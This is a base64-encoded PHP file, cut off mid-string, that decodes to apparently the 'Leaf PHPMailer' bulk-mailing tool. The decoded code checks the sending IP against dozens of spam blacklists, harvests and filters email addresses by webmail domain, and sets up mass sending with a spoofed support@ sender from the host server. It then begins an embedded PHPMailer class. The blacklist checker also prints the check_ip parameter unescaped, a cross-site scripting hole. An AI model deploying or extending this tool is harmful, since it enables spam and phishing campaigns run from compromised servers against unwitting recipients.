PGZvbnQgY29sb3I9J3JlZCc+IExpc3RlZDwvZm9udD4iOwogICAgICAgICAgICBlbHNlICRjaGVjaz0gIjxmb250IGNvbG9yPSdncmVlbic+IENsZWFuPC9mb250PiI7CiAgICAgICAgICAgIHByaW50ICdkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiJy4gJGhvc3QuJyIpLmlubmVySFRNTCA9ICInLiRjaGVjay4nIjsnOwogICAgICAgIH0KCiAgICAgICAgZXhpdDsKICAgIH0KICAgICRkbnNibF9sb29rdXAgPSBbCiAgICAgICAgImFsbC5zNWgubmV0IiwKICAgICAgICAiYi5iYXJyYWN1ZGFjZW50cmFsLm9yZyIsCiAgICAgICAgImJsLnNwYW1jb3AubmV0IiwKICAgICAgICAiYmxhY2tsaXN0Lndvb2R5LmNoIiwKICAgICAgICAiYm9nb25zLmN5bXJ1LmNvbSIsCiAgICAgICAgImNibC5hYnVzZWF0Lm9yZyIsCiAgICAgICAgImNkbC5hbnRpLXNwYW0ub3JnLmNuIiwKICAgICAgICAiY29tYmluZWQuYWJ1c2UuY2giLAogICAgICAgICJkYi53cGJsLmluZm8iLAogICAgICAgICJkbnNibC0xLnVjZXByb3RlY3QubmV0IiwKICAgICAgICAiZG5zYmwtMi51Y2Vwcm90ZWN0Lm5ldCIsCiAgICAgICAgImRuc2JsLTMudWNlcHJvdGVjdC5uZXQiLAogICAgICAgICJkbnNibC5hbnRpY2FwdGNoYS5uZXQiLAogICAgICAgICJkbnNibC5kcm9uZWJsLm9yZyIsCiAgICAgICAgImRuc2JsLmlucHMuZGUiLAogICAgICAgICJkbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJkcm9uZS5hYnVzZS5jaCIsCiAgICAgICAgImR1aW52LmF1cGFkcy5vcmciLAogICAgICAgICJkdWwuZG5zYmwuc29yYnMubmV0IiwKICAgICAgICAiZHluYS5zcGFtcmF0cy5jb20iLAogICAgICAgICJkeW5pcC5yb3RoZW4uY29tIiwKICAgICAgICAiaHR0cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJpcHMuYmFja3NjYXR0ZXJlci5vcmciLAogICAgICAgICJpeC5kbnNibC5tYW5pdHUubmV0IiwKICAgICAgICAia29yZWEuc2VydmljZXMubmV0IiwKICAgICAgICAibWlzYy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJub3B0ci5zcGFtcmF0cy5jb20iLAogICAgICAgICJvcnZlZGIuYXVwYWRzLm9yZyIsCiAgICAgICAgInBibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJwcm94eS5ibC5nd2VlcC5jYSIsCiAgICAgICAgInBzYmwuc3VycmllbC5jb20iLAogICAgICAgICJyZWxheXMuYmwuZ3dlZXAuY2EiLAogICAgICAgICJyZWxheXMubmV0aGVyLm5ldCIsCiAgICAgICAgInNibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJzaG9ydC5yYmwuanAiLAogICAgICAgICJzaW5ndWxhci50dGsucHRlLmh1IiwKICAgICAgICAic210cC5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzb2Nrcy5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJzcGFtLmFidXNlLmNoIiwKICAgICAgICAic3BhbS5kbnNibC5hbm9ubWFpbHMuZGUiLAogICAgICAgICJzcGFtLmRuc2JsLnNvcmJzLm5ldCIsCiAgICAgICAgInNwYW0uc3BhbXJhdHMuY29tIiwKICAgICAgICAic3BhbWJvdC5ibHMuZGlnaWJhc2UuY2EiLAogICAgICAgICJzcGFtcmJsLmltcC5jaCIsCiAgICAgICAgInNwYW1zb3VyY2VzLmZhYmVsLmRrIiwKICAgICAgICAidWJsLmxhc2hiYWNrLmNvbSIsCiAgICAgICAgInVibC51bnN1YnNjb3JlLmNvbSIsCiAgICAgICAgInZpcnVzLnJibC5qcCIsCiAgICAgICAgIndlYi5kbnNibC5zb3Jicy5uZXQiLAogICAgICAgICJ3b3JtcmJsLmltcC5jaCIsCiAgICAgICAgInhibC5zcGFtaGF1cy5vcmciLAogICAgICAgICJ6Lm1haWxzcGlrZS5uZXQiLAogICAgICAgICJ6ZW4uc3BhbWhhdXMub3JnIiwKICAgICAgICAiem9tYmllLmRuc2JsLnNvcmJzLm5ldCIsCiAgICBdOwogICAgJHJldmVyc2VfaXAgPSBpbXBsb2RlKCIuIiwgYXJyYXlfcmV2ZXJzZShleHBsb2RlKCIuIiwgJF9HRVRbJ2NoZWNrX2lwJ10pKSk7CiAgICAkZG5zVCA9IGNvdW50KCRkbnNibF9sb29rdXApOwogICAgbGVhZmhlYWRlcigpOwogICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNiI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkJsYWNrbGlzdCBDaGVja2VyPC9zbWFsbD48L2gzPic7CiAgICBQcmludCAiQ2hlY2tpbmcgPGI+Ii4kX0dFVFsnY2hlY2tfaXAnXS4iPC9iPiBpbiA8Yj4kZG5zVDwvYj4gIGFudGktc3BhbSBkYXRhYmFzZXM6PGJyPiI7CiAgICAkZG5zTj0iIjsKICAgIHByaW50ICc8dGFibGUgPic7CiAgICBmb3IgKCRpPTA7ICRpIDwgJGRuc1Q7ICRpPSRpKzEwKSB7IAogICAgICAgICRob3N0PSIiOwogICAgICAgICRob3N0cz0iIjsKICAgICAgICBmb3IoJGo9JGk7ICRqPCRpKzEwOyRqKyspewogICAgICAgICAgICAkaG9zdD0kZG5zYmxfbG9va3VwWyRqXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRob3N0KSl7CiAgICAgICAgICAgICAgICBwcmludCAiPHRyPiA8dGQ+JGhvc3Q8L3RkPiA8dGQgaWQ9JyRob3N0Jz5DaGVja2luZyAuLjwvdGQ+PC90cj4iOwogICAgICAgICAgICAgICAgJGhvc3RzIC49IiRob3N0LCI7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGRuc04uPSI8c2NyaXB0IHNyYz0nP2NoZWNrX2lwPSRyZXZlcnNlX2lwJmhvc3Q9Ii4kaG9zdHMuIicgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz48L3NjcmlwdD4iOwogICAgfQoKICAgIHByaW50ICc8L3RhYmxlPjwvZGl2Pic7CiAgICBwcmludCAkZG5zTjsKICAgIGV4aXQ7Cn0KaWYoaXNzZXQoJF9HRVRbJ2VtYWlsZmlsdGVyJ10pKXsKCiAgICBpZighZW1wdHkoJF9GSUxFU1snZmlsZVRvVXBsb2FkJ11bJ3RtcF9uYW1lJ10pKXsKICAgICAgICAkX1BPU1RbJ2VtYWlsTGlzdCddPSBmaWxlX2dldF9jb250ZW50cygkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsidG1wX25hbWUiXSk7IAogICAgfQogICAgJF9QT1NUWydlbWFpbExpc3QnXT1zdHJ0b2xvd2VyKCRfUE9TVFsnZW1haWxMaXN0J10pOwogICBpZigkX0dFVFsnZW1haWxmaWx0ZXInXT09ImlmcmFtIil7CiAgICAgICAgaWYgKCRfUE9TVFsncmVzdWx0dHlwZSddID09ICJkb3dubG9hZCIpewogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXIiKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZW1haWxzIi50aW1lKCkuIi50eHQiKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CiAgICAgICAgfQogICAgaWYoJF9QT1NUWydzdWJtaXQnXT09ImV4dHJhY3QiKXsKICAgICAgICAkcGF0dGVybiA9ICcvW0EtWmEtejAtOS5fJSstXStAW0EtWmEtejAtOS4tXStcLltBLVphLXpdezIsNH0vJzsKICAgICAgICBwcmVnX21hdGNoX2FsbCgkcGF0dGVybiwgJF9QT1NUWydlbWFpbExpc3QnXSwgJG1hdGNoZXMpOwogICAgICAgIGZvcmVhY2ggKCRtYXRjaGVzWzBdIGFzICRlbWFpbCkgewogICAgICAgICAgICBwcmludCAkZW1haWwuIlxuIjsKICAgICAgICB9CiAgICB9CiAgICBlbHNlaWYgKCRfUE9TVFsnc3VibWl0J109PSJmaWx0ZXIiKSB7CiAgICAgICAgJGVtYWlscz1leHBsb2RlKCJcbiIsICRfUE9TVFsnZW1haWxMaXN0J10pOwogICAgICAgICRrZXl3b3Jkcz1leHBsb2RlKCJcbiIsIHN0cnRvbG93ZXIoJF9QT1NUWydrZXl3b3JkcyddKSk7CiAgICAgICAgZm9yZWFjaCAoJGVtYWlscyBhcyAkZW1haWwpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJGtleXdvcmRzIGFzICRrZXl3b3JkICkgewogICAgICAgICAgICAgICAgaWYoc3Ryc3RyKCRlbWFpbCwgJGtleXdvcmQpICl7CiAgICAgICAgICAgICAgICAgICAgcHJpbnQgJGVtYWlsLiJcbiI7CiAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICB9CiAgICBleGl0OwogICB9CiAgIGxlYWZoZWFkZXIoKTsKICAgcHJpbnQgJzxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNCI+PGgzPjxmb250IGNvbG9yPSJncmVlbiI+PHNwYW4gY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tbGVhZiI+PC9zcGFuPjwvZm9udD4gTGVhZiBQSFBNYWlsZXIgPHNtYWxsPkVtYWlsIEZpbHRlcjwvc21hbGw+PC9oMz4nOwogICBwcmludCAnCiAgICA8Zm9ybSBhY3Rpb249Ij9lbWFpbGZpbHRlcj1pZnJhbSIgbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Im15LWlmcmFtZSIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgb25zdWJtaXQ9XCdcJz4KICAgICAgICA8bGFiZWwgZm9yPSJlbWFpbExpc3QiPlRleHQgPC9sYWJlbD48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZVRvVXBsb2FkIiBpZD0iZmlsZVRvVXBsb2FkIj4gCiAgICAgICAgb3IKCiAgICAgICAgPHRleHRhcmVhIG5hbWU9ImVtYWlsTGlzdCIgaWQ9ImVtYWlsTGlzdCIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNyIgaWQ9InRleHRBcmVhIj48L3RleHRhcmVhPgogICAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPgogICAgICAgIDxkaXYgY2xhc3M9InJhZGlvIj4KICAgICAgICAgIDxsYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBuYW1lPSJyZXN1bHR0eXBlIiBpZD0icmVzdWx0dHlwZSIgdmFsdWU9ImhlcmUiIGNoZWNrZWQ9IiI+CiAgICAgICAgICAgIFNob3cgUmVzdWx0IGluIHRoaXMgcGFnZQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJyYWRpbyI+CiAgICAgICAgICA8bGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0icmVzdWx0dHlwZSIgaWQ9InJlc3VsdHR5cGUiIHZhbHVlPSJkb3dubG9hZCI+CiAgICAgICAgICAgIERvd25sb2FkIFJlc3VsdCAoZm9yIGJpZyBudW1iZXJzKQogICAgICAgICAgPC9sYWJlbD4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsZWdlbmQ+PGg0PkV4dHJhY3QgRW1haWw8L2g0PjwvbGVnZW5kPgogICAgICAgICAgICBEZXRlY3RpbmcgZXZlcnkgZW1haWwgKDEwMCUpIGFuZCBvcmRlciB0aGVtIGxpbmUgYnkgbGluZSA8YnI+PGJyPgogICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJleHRyYWN0IiBjbGFzcz0iYnRuIGJ0bi1kZWZhdWx0IGJ0bi1zbSI+U3RhcnQ8L2J1dHRvbj4KICAgICAgICAgICAgPGxlZ2VuZD48aDQ+RmlsdGVyIEVtYWlsczwvaDQ+PC9sZWdlbmQ+CiAgICAgICAgPGxhYmVsID5LZXl3b3JkcyA8c21hbGw+IGV4OiBnbWFpbC5jb20gb3IgLmNvLnVrPC9zbWFsbD4gPC9sYWJlbD48dGV4dGFyZWEgbmFtZT0ia2V5d29yZHMiIGlkPSJrZXl3b3JkcyIgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNCIgaWQ9InRleHRBcmVhIj5nbWFpbC5jb20KaG90bWFpbC5jb20KeWFob28uY29tCi5jby51azwvdGV4dGFyZWE+PGJyPgoKICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9ImZpbHRlciIgY2xhc3M9ImJ0biBidG4tZGVmYXVsdCBidG4tc20iPlN0YXJ0PC9idXR0b24+CiAgICA8L2Zvcm0+CiAgICA8bGFiZWwgPlJlc3VsdCA8L2xhYmVsPgogICAgPGlmcmFtZSBzdHlsZT0iYm9yZGVyOm5vbmU7d2lkdGg6MTAwJTsiIG5hbWU9Im15LWlmcmFtZSIgIHNyYz0iP2VtYWlsZmlsdGVyPWlmcmFtIiA+PC9pZnJhbWU+CiAgICc7CiAgIGV4aXQ7Cgp9CiRodG1sPSJjaGVja2VkIjsKJHV0Zjg9InNlbGVjdGVkIjsKJGJpdDg9InNlbGVjdGVkIjsKCmlmKCRfUE9TVFsnYWN0aW9uJ109PSJzZW5kIiBvciAkX1BPU1RbJ2FjdGlvbiddPT0ic2NvcmUiKXsKCiAgICAkc2VuZGVyRW1haWw9bGVhZlRyaW0oJF9QT1NUWydzZW5kZXJFbWFpbCddKTsKICAgICRzZW5kZXJOYW1lPWxlYWZUcmltKCRfUE9TVFsnc2VuZGVyTmFtZSddKTsKICAgICRyZXBseVRvPWxlYWZUcmltKCRfUE9TVFsncmVwbHlUbyddKTsKICAgICRzdWJqZWN0PWxlYWZUcmltKCRfUE9TVFsnc3ViamVjdCddKTsKICAgICRlbWFpbExpc3Q9bGVhZlRyaW0oJF9QT1NUWydlbWFpbExpc3QnXSk7CiAgICAkbWVzc2FnZVR5cGU9bGVhZlRyaW0oJF9QT1NUWydtZXNzYWdlVHlwZSddKTsKICAgICRtZXNzYWdlTGV0dGVyPWxlYWZUcmltKCRfUE9TVFsnbWVzc2FnZUxldHRlciddKTsKICAgICRlbmNvZGluZyA9ICRfUE9TVFsnZW5jb2RlJ107CiAgICAkY2hhcnNldCA9ICRfUE9TVFsnY2hhcnNldCddOwogICAgJGh0bWw9IiI7CiAgICAkdXRmOD0iIjsKICAgICRiaXQ4PSIiOwoKICAgIGlmKCRtZXNzYWdlVHlwZT09MikgJHBsYWluPSJjaGVja2VkIjsKICAgIGVsc2UgJGh0bWw9ImNoZWNrZWQiOwoKICAgIGlmKCRjaGFyc2V0PT0iSVNPLTg4NTktMSIpICRpc289InNlbGVjdGVkIjsKICAgIGVsc2UgJHV0Zjg9InNlbGVjdGVkIjsKCiAgICBpZigkZW5jb2Rpbmc9PSI3Yml0IikgJGJpdDc9InNlbGVjdGVkIjsKICAgIGVsc2VpZigkZW5jb2Rpbmc9PSJiaW5hcnkiKSAkYmluYXJ5PSJzZWxlY3RlZCI7CiAgICBlbHNlaWYoJGVuY29kaW5nPT0iYmFzZTY0IikgJGJhc2U2ND0ic2VsZWN0ZWQiOwogICAgZWxzZWlmKCRlbmNvZGluZz09InF1b3RlZC1wcmludGFibGUiKSAkcXVvdGVkcHJpbnRhYmxlPSJzZWxlY3RlZCI7CiAgICBlbHNlICRiaXQ4PSJzZWxlY3RlZCI7CgoKCn0KaWYoJF9QT1NUWydhY3Rpb24nXT09InZpZXciKXsKCSR2aWV3TWVzc2FnZT1sZWFmVHJpbSgkX1BPU1RbJ21lc3NhZ2VMZXR0ZXInXSk7Cgkkdmlld01lc3NhZ2U9bGVhZkNsZWFyKCR2aWV3TWVzc2FnZSwidXNlckBkb21haW4uY29tIik7CglpZiAoJF9QT1NUWydtZXNzYWdlVHlwZSddPT0yKXsKCQlwcmludCAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHZpZXdNZXNzYWdlKS4iPC9wcmU+IjsKCX0KCWVsc2UgewoJCXByaW50ICR2aWV3TWVzc2FnZTsKCX0KCWV4aXQ7Cn0KCgoKaWYoIWlzc2V0KCRfUE9TVFsnc2VuZGVyRW1haWwnXSkpewogICAgJHNlbmRlckVtYWlsPSJzdXBwb3J0QCIuc3RyX3JlcGxhY2UoInd3dy4iLCAiIiwgJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsKICAgIGlmICghbGVhZk1haWxDaGVjaygkc2VuZGVyRW1haWwpKSAkc2VuZGVyRW1haWw9IiI7Cn0KCmNsYXNzIFBIUE1haWxlcgp7CiAgICAvKioKICAgICAqIFRoZSBQSFBNYWlsZXIgVmVyc2lvbiBudW1iZXIuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFZlcnNpb24gPSAnNS4yLjI4JzsKCiAgICAvKioKICAgICAqIEVtYWlsIHByaW9yaXR5LgogICAgICogT3B0aW9uczogbnVsbCAoZGVmYXVsdCksIDEgPSBIaWdoLCAzID0gTm9ybWFsLCA1ID0gbG93LgogICAgICogV2hlbiBudWxsLCB0aGUgaGVhZGVyIGlzIG5vdCBzZXQgYXQgYWxsLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkUHJpb3JpdHkgPSBudWxsOwoKICAgIC8qKgogICAgICogVGhlIGNoYXJhY3RlciBzZXQgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENoYXJTZXQgPSAnaXNvLTg4NTktMSc7CgogICAgLyoqCiAgICAgKiBUaGUgTUlNRSBDb250ZW50LXR5cGUgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJENvbnRlbnRUeXBlID0gJ3RleHQvcGxhaW4nOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgZW5jb2RpbmcuCiAgICAgKiBPcHRpb25zOiAiOGJpdCIsICI3Yml0IiwgImJpbmFyeSIsICJiYXNlNjQiLCBhbmQgInF1b3RlZC1wcmludGFibGUiLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRFbmNvZGluZyA9ICc4Yml0JzsKCiAgICAvKioKICAgICAqIEhvbGRzIHRoZSBtb3N0IHJlY2VudCBtYWlsZXIgZXJyb3IgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRXJyb3JJbmZvID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBlbWFpbCBhZGRyZXNzIGZvciB0aGUgbWVzc2FnZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRnJvbSA9ICdyb290QGxvY2FsaG9zdCc7CgogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBuYW1lIG9mIHRoZSBtZXNzYWdlLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRGcm9tTmFtZSA9ICdSb290IFVzZXInOwoKICAgIC8qKgogICAgICogVGhlIFNlbmRlciBlbWFpbCAoUmV0dXJuLVBhdGgpIG9mIHRoZSBtZXNzYWdlLgogICAgICogSWYgbm90IGVtcHR5LCB3aWxsIGJlIHNlbnQgdmlhIC1mIHRvIHNlbmRtYWlsIG9yIGFzICdNQUlMIEZST00nIGluIHNtdHAgbW9kZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU2VuZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgUmV0dXJuLVBhdGggb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBJZiBlbXB0eSwgaXQgd2lsbCBiZSBzZXQgdG8gZWl0aGVyIEZyb20gb3IgU2VuZGVyLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIEVtYWlsIHNlbmRlcnMgc2hvdWxkIG5ldmVyIHNldCBhIHJldHVybi1wYXRoIGhlYWRlcjsKICAgICAqIGl0J3MgdGhlIHJlY2VpdmVyJ3Mgam9iIChSRkM1MzIxIHNlY3Rpb24gNC40KSwgc28gdGhpcyBubyBsb25nZXIgZG9lcyBhbnl0aGluZy4KICAgICAqIEBsaW5rIGh0dHBzOi8vdG9vbHMuaWV0Zi5vcmcvaHRtbC9yZmM1MzIxI3NlY3Rpb24tNC40IFJGQzUzMjEgcmVmZXJlbmNlCiAgICAgKi8KICAgIHB1YmxpYyAkUmV0dXJuUGF0aCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFN1YmplY3Qgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFN1YmplY3QgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIEhUTUwgb3IgcGxhaW4gdGV4dCBtZXNzYWdlIGJvZHkuCiAgICAgKiBJZiBIVE1MIHRoZW4gY2FsbCBpc0hUTUwodHJ1ZSkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBwbGFpbi10ZXh0IG1lc3NhZ2UgYm9keS4KICAgICAqIFRoaXMgYm9keSBjYW4gYmUgcmVhZCBieSBtYWlsIGNsaWVudHMgdGhhdCBkbyBub3QgaGF2ZSBIVE1MIGVtYWlsCiAgICAgKiBjYXBhYmlsaXR5IHN1Y2ggYXMgbXV0dCAmIEV1ZG9yYS4KICAgICAqIENsaWVudHMgdGhhdCBjYW4gcmVhZCBIVE1MIHdpbGwgdmlldyB0aGUgbm9ybWFsIEJvZHkuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEFsdEJvZHkgPSAnJzsKCiAgICAvKioKICAgICAqIEFuIGlDYWwgbWVzc2FnZSBwYXJ0IGJvZHkuCiAgICAgKiBPbmx5IHN1cHBvcnRlZCBpbiBzaW1wbGUgYWx0IG9yIGFsdF9pbmxpbmUgbWVzc2FnZSB0eXBlcwogICAgICogVG8gZ2VuZXJhdGUgaUNhbCBldmVudHMsIHVzZSB0aGUgYnVuZGxlZCBleHRyYXMvRWFzeVBlYXN5SUNTLnBocCBjbGFzcyBvciBpQ2FsY3JlYXRvcgogICAgICogQGxpbmsgaHR0cDovL3NwcmFpbi5jaC9ibG9nL2Rvd25sb2Fkcy9waHAtY2xhc3MtZWFzeXBlYXN5aWNzLWNyZWF0ZS1pY2FsLWZpbGVzLXdpdGgtcGhwLwogICAgICogQGxpbmsgaHR0cDovL2tpZ2tvbnN1bHQuc2UvaUNhbGNyZWF0b3IvCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEljYWwgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBjb21wbGV0ZSBjb21waWxlZCBNSU1FIG1lc3NhZ2UgYm9keS4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgJE1JTUVCb2R5ID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgY29tcGxldGUgY29tcGlsZWQgTUlNRSBtZXNzYWdlIGhlYWRlcnMuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRNSU1FSGVhZGVyID0gJyc7CgogICAgLyoqCiAgICAgKiBFeHRyYSBoZWFkZXJzIHRoYXQgY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkbWFpbEhlYWRlciA9ICcnOwoKICAgIC8qKgogICAgICogV29yZC13cmFwIHRoZSBtZXNzYWdlIGJvZHkgdG8gdGhpcyBudW1iZXIgb2YgY2hhcnMuCiAgICAgKiBTZXQgdG8gMCB0byBub3Qgd3JhcC4gQSB1c2VmdWwgdmFsdWUgaGVyZSBpcyA3OCwgZm9yIFJGQzI4MjIgc2VjdGlvbiAyLjEuMSBjb21wbGlhbmNlLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKi8KICAgIHB1YmxpYyAkV29yZFdyYXAgPSAwOwoKICAgIC8qKgogICAgICogV2hpY2ggbWV0aG9kIHRvIHVzZSB0byBzZW5kIG1haWwuCiAgICAgKiBPcHRpb25zOiAibWFpbCIsICJzZW5kbWFpbCIsIG9yICJzbXRwIi4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkTWFpbGVyID0gJ21haWwnOwoKICAgIC8qKgogICAgICogVGhlIHBhdGggdG8gdGhlIHNlbmRtYWlsIHByb2dyYW0uCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFNlbmRtYWlsID0gJy91c3Ivc2Jpbi9zZW5kbWFpbCc7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIG1haWwoKSB1c2VzIGEgZnVsbHkgc2VuZG1haWwtY29tcGF0aWJsZSBNVEEuCiAgICAgKiBPbmUgd2hpY2ggc3VwcG9ydHMgc2VuZG1haWwncyAiLW9pIC1mIiBvcHRpb25zLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkVXNlU2VuZG1haWxPcHRpb25zID0gdHJ1ZTsKCiAgICAvKioKICAgICAqIFBhdGggdG8gUEhQTWFpbGVyIHBsdWdpbnMuCiAgICAgKiBVc2VmdWwgaWYgdGhlIFNNVFAgY2xhc3MgaXMgbm90IGluIHRoZSBQSFAgaW5jbHVkZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBkZXByZWNhdGVkIFNob3VsZCBub3QgYmUgbmVlZGVkIG5vdyB0aGVyZSBpcyBhbiBhdXRvbG9hZGVyLgogICAgICovCiAgICBwdWJsaWMgJFBsdWdpbkRpciA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGVtYWlsIGFkZHJlc3MgdGhhdCBhIHJlYWRpbmcgY29uZmlybWF0aW9uIHNob3VsZCBiZSBzZW50IHRvLCBhbHNvIGtub3duIGFzIHJlYWQgcmVjZWlwdC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGhvc3RuYW1lIHRvIHVzZSBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIgYW5kIGFzIGRlZmF1bHQgSEVMTyBzdHJpbmcuCiAgICAgKiBJZiBlbXB0eSwgUEhQTWFpbGVyIGF0dGVtcHRzIHRvIGZpbmQgb25lIHdpdGgsIGluIG9yZGVyLAogICAgICogJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10sIGdldGhvc3RuYW1lKCksIHBocF91bmFtZSgnbicpLCBvciB0aGUgdmFsdWUKICAgICAqICdsb2NhbGhvc3QubG9jYWxkb21haW4nLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRIb3N0bmFtZSA9ICcnOwoKICAgIC8qKgogICAgICogQW4gSUQgdG8gYmUgdXNlZCBpbiB0aGUgTWVzc2FnZS1JRCBoZWFkZXIuCiAgICAgKiBJZiBlbXB0eSwgYSB1bmlxdWUgaWQgd2lsbCBiZSBnZW5lcmF0ZWQuCiAgICAgKiBZb3UgY2FuIHNldCB5b3VyIG93biwgYnV0IGl0IG11c3QgYmUgaW4gdGhlIGZvcm1hdCAiPGlkQGRvbWFpbj4iLAogICAgICogYXMgZGVmaW5lZCBpbiBSRkM1MzIyIHNlY3Rpb24gMy42LjQgb3IgaXQgd2lsbCBiZSBpZ25vcmVkLgogICAgICogQHNlZSBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjNTMyMiNzZWN0aW9uLTMuNi40CiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VJRCA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIG1lc3NhZ2UgRGF0ZSB0byBiZSB1c2VkIGluIHRoZSBEYXRlIGhlYWRlci4KICAgICAqIElmIGVtcHR5LCB0aGUgY3VycmVudCBkYXRlIHdpbGwgYmUgYWRkZWQuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJE1lc3NhZ2VEYXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBTTVRQIGhvc3RzLgogICAgICogRWl0aGVyIGE